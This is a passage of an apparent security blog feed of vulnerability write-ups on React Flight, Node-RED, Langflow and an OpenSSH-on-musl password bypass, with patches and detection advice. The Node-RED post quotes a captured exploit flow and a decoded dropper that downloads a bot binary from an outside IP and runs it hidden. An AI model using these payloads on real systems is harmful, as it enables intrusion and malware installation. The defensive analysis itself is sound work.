function. That&#39;s exactly why hardening property lookups alone wouldn&#39;t have stopped it.</p><p><strong>Two details that make this worse in the real world:</strong></p><ul><li>The entire attack rides a plain <strong>GET /?annotation=&lt;base64&gt; request</strong>. No POST body, no Next-Action header. Any WAF rule or middleware that only inspects POST traffic for Server Action calls never sees this.</li><li>The blast radius is whatever the targeted Server Action does with its arguments. The lab demo pipes the argument into /bin/sh, but a real application&#39;s action might write to a database, touch the filesystem, or call an internal service.</li></ul><h3>5. How the patch closed the hole</h3><p>The fix shipped as PRs #37842–#37846 (“[Flight] Improve transport protocol”), and rather than patching a single offset calculation, it adds defenses at <strong>multiple independent layers</strong>.</p><p><strong>Serialization (write) side</strong></p><pre>// 19.2.9+ — large views that don&#39;t span their entire buffer are always copied<br>function typedArrayToBinaryChunk(content) {<br>  if (content.byteLength &gt; VIEW_SIZE &amp;&amp; !spansEntireBuffer(content)) {<br>    return content.slice(); // copy — no longer shares the original buffer<br>  }<br>  // On older environments lacking ArrayBuffer.prototype.detached<br>  // (Node &lt; 21, older browsers), even full-span views are defensively sliced<br>}</pre><p>And the silent skip is gone:</p><pre>// after the fix — throws immediately instead of silently dropping the payload<br>if (chunk.byteLength === 0 &amp;&amp; isDetached(chunk.buffer)) {<br>  throw new Error(<br>    &quot;Cannot transport a detached buffer. This usually happens when &quot; +<br>    &quot;trying to transport multiple buffer-spanning views on the same &quot; +<br>    &quot;underlying buffer. Either reuse the exact same view by identity &quot; +<br>    &quot;or copy the underlying buffer manually via view.slice().&quot;<br>  ); // error 612<br>}</pre><p><strong>Deserialization (read) side</strong></p><ul><li>ReactFlightClient.js introduces a module-private RESPONSE_SYMBOL, moving the parser&#39;s internal state behind a symbol that&#39;s unreachable through ordinary property access.</li><li>A new ReactFlightReplyBackingFormData.js replaces raw FormData lookups with an <strong>indexed backing store that separates key spaces by kind</strong> — entries prefixed _ are referenced FormData entries, S marks stream/async-iterable chunks, everything else is a one-shot chunk. A chunk&#39;s kind is now determined by <strong>where it&#39;s stored</strong>, not by a key name the attacker chose.</li><li>createModel now returns null whenever a then property holds a function — shutting down the thenable pivot at parse time, even if a forged row manages to land again.</li><li>loadServerReference rejects any metaData.id that isn&#39;t a string before it ever reaches resolveServerReference or requireModule.</li></ul><p>The fastest way to confirm a build is patched is to grep the compiled bundle for a new helper:</p><pre>grep -c getBackingBlob \<br>  node_modules/next/dist/compiled/react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.production.js<br># 0 = vulnerable code path; 1 or more = patched backing-blob logic present</pre><iframe src="https://cdn.embedly.com/widgets/media.html?url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DLz37eZ7InFU&amp;type=text%2Fhtml&amp;schema=youtube&amp;display_name=YouTube&amp;src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FLz37eZ7InFU" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/c51a0d0fe87d80c3ed604b2346d07324/href">https://medium.com/media/c51a0d0fe87d80c3ed604b2346d07324/href</a></iframe><h3>6. Affected versions and what to do</h3><p>PackageAffected rangeFixed inreact-server-dom-webpack19.0.0–19.0.8, 19.1.0–19.1.9, 19.2.0–19.2.8, 19.3.019.0.9 / 19.1.10 / 19.2.9 / 19.3.1react-server-dom-parcelsamesame (though 19.0.9 was never actually published for this package on npm — use 19.1.10+)react-server-dom-turbopacksamesame</p><p>Most applications pull these packages in <strong>transitively</strong>, through a framework like Next.js — which creates a common mistake.</p><blockquote><strong><em>Upgrading </em></strong><strong><em>react/</em></strong><strong><em>react-dom alone is not enough.</em></strong><em> Next.js vendors a compiled copy of the Flight runtime directly into the framework itself, so </em><em>next must be upgraded to 16.4.1 (Active LTS) or 15.5.28 (Maintenance LTS) or later for the actual fixed code to take effect.</em></blockquote><p>Three artifacts need to be checked, and they can disagree with each other:</p><pre># 1) What the lockfile resolves to<br>npm ls react-server-dom-webpack react-server-dom-parcel react-server-dom-turbopack<br>grep -E &#39;react-server-dom-(webpack|parcel|turbopack)&#39; package-lock.json<br><br># 2) What&#39;s actually compiled into the deployed image<br>grep -c getBackingBlob node_modules/next/dist/compiled/react-server-dom-webpack/cjs/*.production.js</pre><p>The trigger condition requires the App Router with Cache Components, where a use cache function returning multiple typed arrays sits on a page that can resolve a Server Action. If upgrading isn&#39;t immediately possible, interim mitigations include:</p><ul><li>Refactoring use cache functions so they never return multiple typed arrays sharing one buffer</li><li>Encoding binary return values as strings so they serialize as plain text chunks instead</li><li>Adding argument validation and authorization checks to every &quot;use server&quot; function (this attack calls the action directly, bypassing any UI flow that might otherwise gate it)</li></ul><p>From a detection standpoint, watch for unusually long base64 query parameters on GET requests to cached pages, decoded tails containing Flight row syntax such as &quot;bound&quot;:&quot;$@ or &quot;then&quot;:&quot;$h, and spikes of Connection closed. 500 errors on cached routes (a sign of failed offset guessing).</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3483eff620aa" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CVE-2026–58115: Node-RED’s Unauthenticated Admin API Lets One Request Take Over an Industrial…]]></title>
            <link>https://medium.com/@guidancewhite/cve-2026-58115-node-reds-unauthenticated-admin-api-lets-one-request-take-over-an-industrial-6a18d5fe11e2?source=rss-6648f12dd50f------2</link>
            <guid isPermaLink="false">https://medium.com/p/6a18d5fe11e2</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[cve]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[cyberattack]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[WhitGuidance]]></dc:creator>
            <pubDate>Tue, 10 Nov 2026 21:01:01 GMT</pubDate>
            <atom:updated>2026-11-10T21:12:58.430Z</atom:updated>
            <content:encoded><![CDATA[<h3>CVE-2026–58115: Node-RED’s Unauthenticated Admin API Lets One Request Take Over an Industrial Gateway</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*fX_JFjeHA-Lconr4.png" /></figure><h3>Overview</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/681/1*rv68lh0xQykK0CbGPadeYQ.png" /></figure><p>Node-RED is a flow-based programming tool built on Node.js. Users wire nodes together in a browser-based editor to build event-driven applications. It runs on everything from a Raspberry Pi to the cloud, and it’s embedded in commercial ICS/OT products — including Siemens’ SIMATIC IoT2050 Advanced.</p><p>The problem: Node-RED’s editor and Admin API <strong>are not authenticated by default</strong>. Unless adminAuth is explicitly configured, anyone who can reach the HTTP interface can create and deploy flows. On the affected Siemens product, that setting shipped off, leaving an unauthenticated remote attacker able to execute arbitrary code with maximum privileges on the underlying server.</p><p>VulnCheck published a detection signature on October 27, 2026. Three days later, on October 30, it caught a live exploitation attempt on one of its canaries.</p><h3>Why this counts as a vulnerability — no memory corruption, no trick</h3><p>There’s no buffer overflow or deserialization bug here. The exploit is built entirely out of two <strong>legitimate, built-in</strong> Node-RED node types:</p><ul><li><strong>inject node</strong> — fires a message on a schedule, or once at startup. No human interaction needed.</li><li><strong>exec node</strong> — runs whatever command it receives directly in the OS shell.</li></ul><p>Wire one to the other, and the flow executes a shell command the moment it’s deployed, with no further interaction. Because both nodes are normal automation features, this kind of activity doesn’t look like “abnormal behavior” to a typical WAF or EDR signature.</p><p>In other words, the root cause isn’t a code defect — it’s a missing authorization boundary: an unauthenticated client had access to a feature that can execute code.</p><h3>Attack flow — one POST, three layers of encoding</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*2sZ4TVs_5Ml7cuO8.png" /></figure><p>VulnCheck researcher Patrick Garrity published the actual request captured by the canary. The attacker sent a single POST /flows from curl/8.5.0, and inside it were three nested layers: the flow definition, a shell wrapper, and the real dropper.</p><h3>Layer 1 — the flow definition (the request body itself)</h3><pre>{&quot;flows&quot;:[<br>  {&quot;id&quot;:&quot;t&quot;,&quot;type&quot;:&quot;tab&quot;},<br>  {&quot;id&quot;:&quot;inj&quot;,&quot;type&quot;:&quot;inject&quot;,&quot;z&quot;:&quot;t&quot;,&quot;once&quot;:true,&quot;onceDelay&quot;:&quot;1&quot;,&quot;wires&quot;:[[&quot;e&quot;]]},<br>  {&quot;id&quot;:&quot;e&quot;,&quot;type&quot;:&quot;exec&quot;,&quot;z&quot;:&quot;t&quot;,&quot;command&quot;:&quot;echo &lt;base64&gt; | base64 -d | sh&quot;,&quot;addpay&quot;:false,&quot;useSpawn&quot;:&quot;false&quot;,&quot;wires&quot;:[[],[],[]]}<br>]}</pre><ul><li>tab: an empty flow tab — just a container.</li><li>inj (inject): once: true, onceDelay: &quot;1&quot; → fires exactly <strong>once, one second after deployment</strong>.</li><li>e (exec): wired to inj, carrying the actual shell command string in command.</li></ul><p>POST this JSON to /flows and Node-RED returns a normal deployment response (HTTP 200). That&#39;s exactly why the canary logged this as a successful exploit.</p><pre>HTTP/1.1 200 OK<br>Content-Type: application/json; charset=utf-8<br>{&quot;rev&quot;:&quot;4662660a5924cc8f09736d32ca1b8d8728d8e69805e7d1e8c9efdbdffa3cf0f1&quot;}</pre><h3>Layer 2 — the shell wrapper inside the exec node</h3><p>The exec node&#39;s command field looks like this:</p><pre>echo &lt;base64 string&gt; | base64 -d | sh</pre><p>Wrapping the real download command in base64 keeps strings like wget or curl out of the plaintext request body — enough to defeat any filter that&#39;s just pattern-matching on the request content.</p><h3>Layer 3 — what’s actually inside, once decoded</h3><p>Running base64 -d on the payload yields exactly three lines:</p><pre>wget -q -O /dev/shm/.b http://85.215.73[.]250:8080/bot-linux-amd64 \<br>  || curl -s -L http://85.215.73[.]250:8080/bot-linux-amd64 -o /dev/shm/.b<br>chmod +x /dev/shm/.b<br>(setsid /dev/shm/.b &gt;/dev/null 2&gt;&amp;1 || nohup /dev/shm/.b &gt;/dev/null 2&gt;&amp;1 &amp;)</pre><p>Line by line:</p><ol><li><strong>wget ... || curl ...</strong> — tries wget first, falls back to curl. Minimal/embedded images often ship with only one of the two, so trying both improves the odds of success. The drop path, /dev/shm/.b, is worth noting: /dev/shm is a RAM-backed tmpfs, so <strong>nothing touches disk</strong>, and the leading dot hides the file from a plain ls. The trade-off is that the binary disappears on reboot unless something else establishes persistence.</li><li><strong>chmod +x /dev/shm/.b</strong> — makes the downloaded binary executable.</li><li><strong>(setsid ... || nohup ... &amp;)</strong> — setsid starts a new session so the child process survives even if the Node-RED process that spawned it dies; nohup is the fallback where setsid isn&#39;t available. All output is discarded (&gt;/dev/null 2&gt;&amp;1), and there&#39;s no success check or cleanup — fire once, silently, and move on.</li></ol><p>VulnCheck did not retrieve the binary (bot-linux-amd64) itself, so there&#39;s no confirmation of whether it&#39;s a cryptominer, a DDoS bot, a reverse shell, or something else. The architecture suffix in the filename suggests other builds likely exist for other platforms.</p><iframe src="https://cdn.embedly.com/widgets/media.html?url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DgcwxIfkNtv4&amp;type=text%2Fhtml&amp;schema=youtube&amp;display_name=YouTube&amp;src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FgcwxIfkNtv4" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/f0c380e058a8234aa891de5e4708f70e/href">https://medium.com/media/f0c380e058a8234aa891de5e4708f70e/href</a></iframe><h3>Infrastructure — scanning and hosting are split</h3><ul><li><strong>Exploit source</strong>: 4.201.105.116 — sits in Microsoft Azure&#39;s AS8075, geolocating to Brazil. The same address hit this Node-RED CVE 16 times between October 30 and November 1, and across VulnCheck&#39;s broader canary data it logged 125 hits against 8 different CVEs — Apache Solr (CVE-2019-17558), Camunda, Gitea, MLflow, Traefik, and Joomla, alongside Node-RED. Hitting old and new bugs across unrelated products is the signature of <strong>opportunistic mass scanning</strong>, not a targeted campaign. At least five distinct user agents were observed (curl, python-requests, Python-urllib, and browser strings among them), suggesting shared or rented infrastructure used by more than one operator.</li><li><strong>Payload server</strong>: 85.215.73.250:8080 — where the dropper binary is actually hosted. This host never made a request to the canary directly; it only shows up inside the decoded dropper command. In other words, <strong>the host that scans and exploits is a different machine from the one that serves the payload</strong>.</li><li><strong>Later activity (November 1)</strong>: the same source IP delivered a second dropper variant that fetches a staged shell script (wget.sh) instead of the binary directly; a separate payload server (45.194.90.57:38472) serving a file saved as /tmp/.kworker — a name designed to mimic a kernel worker thread; and, in several requests, no downloader at all — instead, the flow exposed an http in endpoint (e.g. /cmd) wired through a function node to an exec node, letting the attacker run arbitrary commands later via a query parameter. Unlike the memory-resident bot, this kind of webshell survives a reboot.</li></ul><h3>Remediation</h3><p>Siemens fixed this in V4.3.4.1. Given active exploitation, treat this as urgent.</p><ol><li><strong>Priority one</strong>: Update Industrial OS to V4.3.4.1 or later.</li><li><strong>Immediately</strong>: Check whether the Node-RED admin interface is reachable from the internet or any untrusted network, and restrict access to the minimum needed.</li><li><strong>Configure </strong><strong>adminAuth</strong>: Explicitly set up authentication for the editor/Admin API — remember the default is no authentication at all.</li><li><strong>Enable HTTPS</strong> for the admin interface.</li><li><strong>Remove Node-RED</strong> if it isn’t actually needed in production — Siemens lists this as a valid mitigation.</li><li><strong>Check for indicators of compromise</strong>:</li></ol><ul><li>Unfamiliar exec nodes or unexpected http in endpoints (e.g. /cmd) in flows.json / flows_&lt;hostname&gt;.json</li><li>Hidden files at /dev/shm/.b, /tmp/.s, /tmp/.kworker</li><li>Unexplained flow deployment revision timestamps</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6a18d5fe11e2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[CVE-2026–110186] Langflow : How a Default-On Auto-Login Opens the Door to Unauthenticated RCE]]></title>
            <link>https://medium.com/@guidancewhite/cve-2026-110186-langflow-how-a-default-on-auto-login-opens-the-door-to-unauthenticated-rce-bb9336cb02da?source=rss-6648f12dd50f------2</link>
            <guid isPermaLink="false">https://medium.com/p/bb9336cb02da</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[cyberattack]]></category>
            <category><![CDATA[cve]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[WhitGuidance]]></dc:creator>
            <pubDate>Sun, 08 Nov 2026 21:01:01 GMT</pubDate>
            <atom:updated>2026-11-08T21:01:01.539Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*SfLxNm3hiWPsDCu2.png" /></figure><h3>TL;DR</h3><p>Langflow ships with a setting, AUTO_LOGIN, that defaults to True. While it is on, an unauthenticated endpoint hands out a superuser session. With that session, the MCP layer can be used to reach Langflow&#39;s execute-user-Python feature (custom components). That chain is CVE-2026-110186.</p><ul><li><strong>Affected:</strong> Langflow OSS 1.0.0 through 1.12.8</li><li><strong>Severity:</strong> CVSS 3.1 9.8 (Critical), CWE-94 (code injection)</li><li><strong>Fixed in:</strong> 1.13.0 (released 2026–10–22)</li><li><strong>Workaround:</strong> none published by IBM</li></ul><blockquote><strong><em>A note on what is confirmed and what is not.</em></strong><em> The vendor advisory describes CVE-2026–110186 only as improper control of code generation leading to unauthenticated RCE. I could not find a public exploit that executes code on the server, and the public Metasploit module covers the sibling CVE-2026–93680 (auth bypass) and only lists MCP tools. So the first half of the chain (auto-login, MCP enumeration, the patch diff) is based on public source, and step 3 (custom component execution) is a reconstruction from the advisory and that source. I mark it as such below.</em></blockquote><h3>Background: three concepts you need</h3><p><strong>Langflow</strong> is a low-code tool for building AI agents and workflows (“flows”) by wiring components together.</p><p><strong>Custom components</strong> are components where the user writes Python directly. Langflow executes that code on the server. That is a legitimate feature, but if anyone can create one, it is remote code execution by design.</p><p><strong>MCP (Model Context Protocol)</strong> is a standard for AI apps to call external tools. Langflow exposes flows as tools over MCP. The endpoint /api/v1/agentic/mcp lists tools for building and running flows.</p><p>The key insight: <strong>the MCP endpoint does require authentication, but there was a separate entry point that hands out valid credentials to anyone.</strong></p><h3>The picture first</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*3uZU2pOqLMymYGk4.png" /></figure><p>How to read it:</p><ul><li><strong>Top row (blue, steps 1 to 2):</strong> an attacker gets a session without logging in (1), then uses it to connect to MCP and see which tools exist (2).</li><li><strong>Middle row (red, step 3):</strong> Python inside a custom component runs on the server. This is where the attack completes, and it is the reconstructed step.</li><li><strong>Bottom left (red):</strong> the root cause is the AUTO_LOGIN default of True combined with an /auto_login endpoint that asks for no credentials.</li><li><strong>Bottom right (green):</strong> the fix flips the default to False, which removes the entry point.</li></ul><h3>Source code walkthrough</h3><p>The excerpts below are from the v1.12.8 files (trimmed, ... marks omissions). Verify against the repository before relying on exact line content.</p><h3>1) The setting that starts it all</h3><p>src/lfx/src/lfx/services/settings/auth.py</p><pre>AUTO_LOGIN: bool = Field(<br>    default=True,  # TODO: Set to False in v2.0<br>    description=(<br>        &quot;Enable automatic login with a configured or generated bootstrap account. &quot;<br>        &quot;SECURITY WARNING: This bypasses authentication and should only be used in development environments. &quot;<br>        &quot;Set to False in production. This will default to False in v2.0.&quot;<br>    ),<br>)</pre><p>What this means:</p><ul><li>AUTO_LOGIN is a development convenience that logs every visitor in as a superuser.</li><li>The description itself says “development only”, yet the default is True. If an operator forgets to turn it off, it stays on.</li><li>The TODO shows the safer default was deferred to v2.0.</li></ul><h3>2) The endpoint that issues a session with no credentials</h3><p>src/backend/base/langflow/api/v1/login.py</p><pre>@router.get(&quot;/auto_login&quot;, include_in_schema=False)<br>async def auto_login(request: Request, response: Response, db: DbSession):<br>    auth_settings = get_settings_service().auth_settings<br><br>if auth_settings.AUTO_LOGIN:<br>        auth = get_auth_service()<br>        user_id, tokens = await auth.create_user_longterm_token(db)<br>        ...<br>        response.set_cookie(<br>            auth_cookie_name(&quot;access_token_lf&quot;, request),<br>            tokens[&quot;access_token&quot;],<br>            ...</pre><p>Line by line:</p><ul><li>@router.get(&quot;/auto_login&quot;): a single GET request reaches this. There is no username or password parameter anywhere in the signature.</li><li>if auth_settings.AUTO_LOGIN:: checks the flag from step 1. Because the default is True, most default installs pass this check.</li><li>create_user_longterm_token(db): finds the configured superuser (or the first superuser in the DB) and mints a token for that account.</li><li>response.set_cookie(...): sends that token back as a cookie. From that moment the caller is a superuser.</li></ul><p>The function never asks “who are you?”. This is the core of CVE-2026–93680 (authentication bypass), which IBM describes as an incomplete fix of the auto-login security control.</p><h3>3) Why the earlier fix did not close it</h3><p>An earlier fix, referenced in a source comment as GHSA-fjgc-vj2f-77hm, replaced a 365-day superuser token with a short-lived access token plus a refresh token. That shortened how long the key works, but an anonymous caller still received a superuser session. The lifetime of the key changed; the fact that the door gave keys to anyone did not.</p><h3>4) After the session: MCP and custom components (reconstructed)</h3><p>This is the code-execution half of CVE-2026–110186. Here is what is confirmed and what is inferred.</p><ul><li><strong>Confirmed:</strong> /api/v1/agentic/mcp lists flow build and run tools, and it authenticates the caller with a session token or API key. IBM&#39;s description ties this CVE to MCP tool enumeration.</li><li><strong>Reconstructed:</strong> with a superuser session, a caller can create and run a flow containing a custom component, and Langflow executes that Python on the server. That last link is not shown by a public PoC. It is inferred from the source above and the CVE description.</li></ul><p>One open question: IBM classifies the issue as requiring no authentication, but the advisory does not say whether servers with auto-login disabled are affected. Since the MCP path authenticates callers, my reading is that disabling auto-login stops this chain from starting. That is an interpretation, not an official statement.</p><h3>Attack flow (concept level)</h3><pre>anonymous request -&gt; /auto_login -&gt; superuser cookie<br>   -&gt; connect to MCP endpoint with that session -&gt; enumerate flow build/run tools<br>   -&gt; run a flow that contains a custom component (Python)<br>   -&gt; code runs on the server with Langflow&#39;s privileges</pre><p>There is no public PoC, so I am deliberately not including request formats or payloads. To check whether an instance you operate is exposed, request /api/v1/auto_login and look at the status code: 403 means auto-login is off, 200 means a session is being issued.</p><pre>curl -s -o /dev/null -w &quot;%{http_code}\n&quot; http://your-langflow-host:7860/api/v1/auto_login</pre><p>Only run this against servers you own or are authorized to test.</p><iframe src="https://cdn.embedly.com/widgets/media.html?url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DGjp5fNVV2c8&amp;type=text%2Fhtml&amp;schema=youtube&amp;display_name=YouTube&amp;src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FGjp5fNVV2c8" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/8c5221e0abb9d143e0d05510a82fcae9/href">https://medium.com/media/8c5221e0abb9d143e0d05510a82fcae9/href</a></iframe><h3>The patch</h3><p>The core change in 1.13.0 is one default:</p><pre>AUTO_LOGIN: bool = Field(<br>-        default=True,  # TODO: Set to False in v2.0<br>+        default=False,  # TODO: Set the development default to False in v2.0.</pre><ul><li>With default=False, /auto_login returns 403. No session is issued, so steps 2 and 3 have no entry point.</li><li>The same release also blocks pydoc and ctypeslib re-export patterns in the agent assistant&#39;s code scanning, and stops the MCP loopback client from inheriting the server process&#39;s LANGFLOW_API_KEY. Those belong to the same advisory batch, including CVE-2026-110193 (a low-privilege account path).</li><li>Limits: if an operator re-enables LANGFLOW_AUTO_LOGIN=true after upgrading, the same entry point reopens. Also, if you relied on auto-login, prepare password-based accounts before upgrading or you may lock yourself out.</li></ul><h3>What to do</h3><ol><li>Back up your database, secret key, and uploaded files.</li><li>If you used auto-login, set up password-based accounts first.</li><li>Upgrade: pip install --upgrade &quot;langflow==1.13.0&quot; or use the Docker image langflowai/langflow:1.13.0.</li><li>If the instance was internet-facing, consider rotating secrets stored on the server, such as model provider API keys and database passwords.</li><li>Until you can upgrade, restrict network access to the Langflow port to trusted networks. This is only a stopgap and does not cover the low-privilege path (CVE-2026–110193).</li></ol><h3>Takeaway</h3><p>A development convenience flag, left on by default, turned an authenticated feature (MCP tooling that can run user Python) into an unauthenticated one. The patch is one line, but the lesson is about defaults: “development only” settings should not ship enabled.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bb9336cb02da" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[CVE-2026–123158] *sshole : How Two Unrelated ‘*’ Strings Broke OpenSSH on musl]]></title>
            <link>https://medium.com/@guidancewhite/cve-2026-123158-sshole-how-two-unrelated-strings-broke-openssh-on-musl-f40698ea1cd4?source=rss-6648f12dd50f------2</link>
            <guid isPermaLink="false">https://medium.com/p/f40698ea1cd4</guid>
            <category><![CDATA[cyberattack]]></category>
            <category><![CDATA[cve]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[WhitGuidance]]></dc:creator>
            <pubDate>Fri, 06 Nov 2026 22:29:05 GMT</pubDate>
            <atom:updated>2026-11-06T22:29:05.369Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*lAt5qHMf4_Vz95QW.png" /></figure><h3>TL;DR</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/676/1*fekFhnAQwD7Hl1dB2KxjEw.png" /></figure><p>This post walks through the sshd and musl source code to explain exactly how an attacker who knows <em>no</em> password at all can log in, just by sending a 257-byte string.</p><h3>The core idea: two unrelated “*” strings turn out to be equal</h3><p>Unix systems never store your password as-is — they store a hash, and compare hashes at login time. A normal shadow entry looks like this:</p><pre>alice:$6$Qx7Lm2Pa$k3J9...(long hash)...:20000:0:99999:7:::</pre><p>$6$ means SHA-512 crypt, and Qx7Lm2Pa is the salt (a random string mixed into the password so two users with the same password don&#39;t get the same hash).</p><p>Accounts that should only ever authenticate with an SSH key — never a password — follow a decades-old Unix convention and store a single asterisk instead:</p><pre>keyonly:*:20000:0:99999:7:::</pre><p>That convention only holds if <strong>no real password can ever hash down to the single character </strong><strong>*</strong>. <em>sshole</em> is exactly the case where that assumption breaks.</p><p>musl libc’s crypt() refuses passwords longer than 256 bytes and signals the failure by returning the literal string &quot;*&quot;. It turns out that, under the right conditions, sshd can be tricked into generating exactly that &quot;*&quot; from an attacker-controlled password — and once it does, it matches the &quot;*&quot; stored for the passwordless account byte-for-byte.</p><h3>Reading the source</h3><h3>Step 1 — How sshd checks a password without PAM</h3><p>With PAM disabled, sshd verifies passwords itself in sys_auth_passwd(), in auth-passwd.c. This is the pre-patch code, as shipped in OpenSSH 9.3p2 on Alpine Linux 3.18:</p><pre>/* Just use the supplied fake password if authctxt is invalid */<br>char *pw_password = authctxt-&gt;valid ? shadow_pw(pw) : pw-&gt;pw_passwd;<br>...<br>/*<br> * Encrypt the candidate password using the proper salt, or pass a<br> * NULL and let xcrypt pick one.<br> */<br>if (authctxt-&gt;valid &amp;&amp; pw_password[0] &amp;&amp; pw_password[1])<br>    salt = pw_password;<br>encrypted_password = xcrypt(password, salt);<br><br>/*<br> * Authentication is accepted if the encrypted passwords<br> * are identical.<br> */<br>return encrypted_password != NULL &amp;&amp;<br>    strcmp(encrypted_password, pw_password) == 0;</pre><p>Textbook logic: read the stored hash, use it as the salt to hash the password the user just typed, and strcmp() the two strings.</p><p>The interesting line is this one:</p><pre>if (authctxt-&gt;valid &amp;&amp; pw_password[0] &amp;&amp; pw_password[1])<br>    salt = pw_password;</pre><p>Checking both pw_password[0] and pw_password[1] means the stored value needs <strong>at least two characters</strong> before sshd will use it as a salt. * is only one character, so it fails this check, and salt stays NULL. That forces the very next line, xcrypt(password, salt), to come up with a salt on its own.</p><h3>Step 2 — Borrowing a salt from another account</h3><p>When salt is NULL, pick_salt() in openbsd-compat/xcrypt.c picks one:</p><pre>if (salt[0] != &#39;\0&#39;)<br>    return salt;<br>strlcpy(salt, &quot;xx&quot;, sizeof(salt));<br>setpwent();<br>while ((pw = getpwent()) != NULL) {<br>    if ((passwd = shadow_pw(pw)) == NULL)<br>        continue;<br>    if (passwd[0] == &#39;$&#39; &amp;&amp; (p = strrchr(passwd+1, &#39;$&#39;)) != NULL) {<br>        typelen = p - passwd + 1;<br>        strlcpy(salt, passwd, MINIMUM(typelen, sizeof(salt)));<br>        explicit_bzero(passwd, strlen(passwd));<br>        goto out;<br>    }<br>}<br>out:<br>endpwent();<br>return salt;</pre><p>It walks /etc/passwd front to back, looking for the <strong>first</strong> account whose hash starts with $ and has a second $ delimiter — a modern crypt format like $5$... or $6$.... It returns the hash-type-plus-salt prefix of that account, or falls back to the legacy DES placeholder &quot;xx&quot; if nothing matches.</p><p>This function exists because of <a href="https://nvd.nist.gov/vuln/detail/CVE-2016-6210">CVE-2016–6210</a>. In 2016, researchers showed that sshd’s response time differed for nonexistent users versus real ones — a timing side-channel that let attackers enumerate valid usernames. The fix was to always borrow a real account’s salt format when none was available, so the timing cost looked the same either way. The intent was to protect against <strong>usernames that don’t exist</strong>. But because of the pw_password[1] check above, a <strong>real account with </strong><strong>*</strong> falls into the exact same code path.</p><p>So our passwordless keyonly account ends up borrowing, say, alice&#39;s $6$Qx7Lm2Pa salt for the comparison.</p><h3>Step 3 — musl crypt()’s 256-byte ca</h3><p>Next, sshd hashes the attacker’s password using that borrowed salt. musl’s SHA-512 crypt implementation (src/crypt/crypt_sha512.c) caps the input length:</p><pre>/* key limit is not part of the original design, added for DoS protection.<br> * rounds limit has been lowered (versus the reference/spec), also for DoS<br> * protection. runtime is O(klen^2 + klen*rounds) */<br>#define KEY_MAX 256<br>...<br>    /* reject large keys */<br>    for (i = 0; i &lt;= KEY_MAX &amp;&amp; key[i]; i++);<br>    if (i &gt; KEY_MAX)<br>        return 0;</pre><p>Anything over 256 bytes is refused outright — a sensible DoS protection. What matters is what the caller gets back on that failure:</p><pre>p = sha512crypt(key, setting, output);<br>/* self test and stack cleanup */<br>q = sha512crypt(testkey, testsetting, testbuf);<br>if (!p || q != testbuf || memcmp(testbuf, testhash, sizeof testhash))<br>    return &quot;*&quot;;<br>return p;</pre><p>Not NULL — the string &quot;*&quot;. POSIX says crypt() should return a null pointer and set errno on error, but musl deliberately returns a string instead, because (per its own commit message) &quot;a large portion of programs which call crypt are not prepared for its failure and do not check that the return value is non-null.&quot; glibc&#39;s libxcrypt, by contrast, returns NULL on failure, which sshd already filters out with encrypted_password != NULL — this is exactly why glibc distros like Debian, Ubuntu and RHEL are not affected.</p><p>Worth noting: musl does guard against the <em>obvious</em> version of this bug. In crypt_des.c:</p><pre>return (setting[0]==&#39;*&#39;) ? &quot;x&quot; : &quot;*&quot;;</pre><p>If the salt itself starts with *, musl returns &quot;x&quot; instead — so crypt(password, &quot;*&quot;) can never produce &quot;*&quot;. That guard protects the classic pattern, where a program uses the stored field as its own salt. But sshd never does that here; it uses a <strong>borrowed </strong><strong>$6$... salt from a different account</strong>. As far as musl is concerned, it&#39;s just doing an ordinary SHA-512 crypt with a valid salt that happens to fail because the input is too long — the guard never triggers.</p><h3>Step 4 — Where the two “*” meet</h3><p>Putting it together:</p><pre>encrypted_password = xcrypt(password, salt);   /* salt borrowed from alice, password is 257 bytes */<br>return encrypted_password != NULL &amp;&amp;<br>    strcmp(encrypted_password, pw_password) == 0;  /* &quot;*&quot; vs &quot;*&quot; */</pre><ul><li>pw_password: the stored value for keyonly → &quot;*&quot;</li><li>encrypted_password: musl&#39;s error string from trying to hash a 257-byte password with the borrowed salt → &quot;*&quot;</li></ul><p>strcmp(&quot;*&quot;, &quot;*&quot;) returns 0, and sshd accepts the login.</p><p>In practice this usually takes <strong>two attempts in the same SSH connection</strong>. musl’s getspnam() reuses an internal shared buffer, and pick_salt()&#39;s lookup of another account overwrites and then wipes that buffer with explicit_bzero(). So on the first attempt, pw_password ends up pointing at corrupted memory and the comparison simply fails. From the second attempt onward in the same connection, the salt is cached and the comparison runs cleanly. Since sshd allows up to 6 password attempts per connection by default (MaxAuthTries), this extra attempt costs the attacker 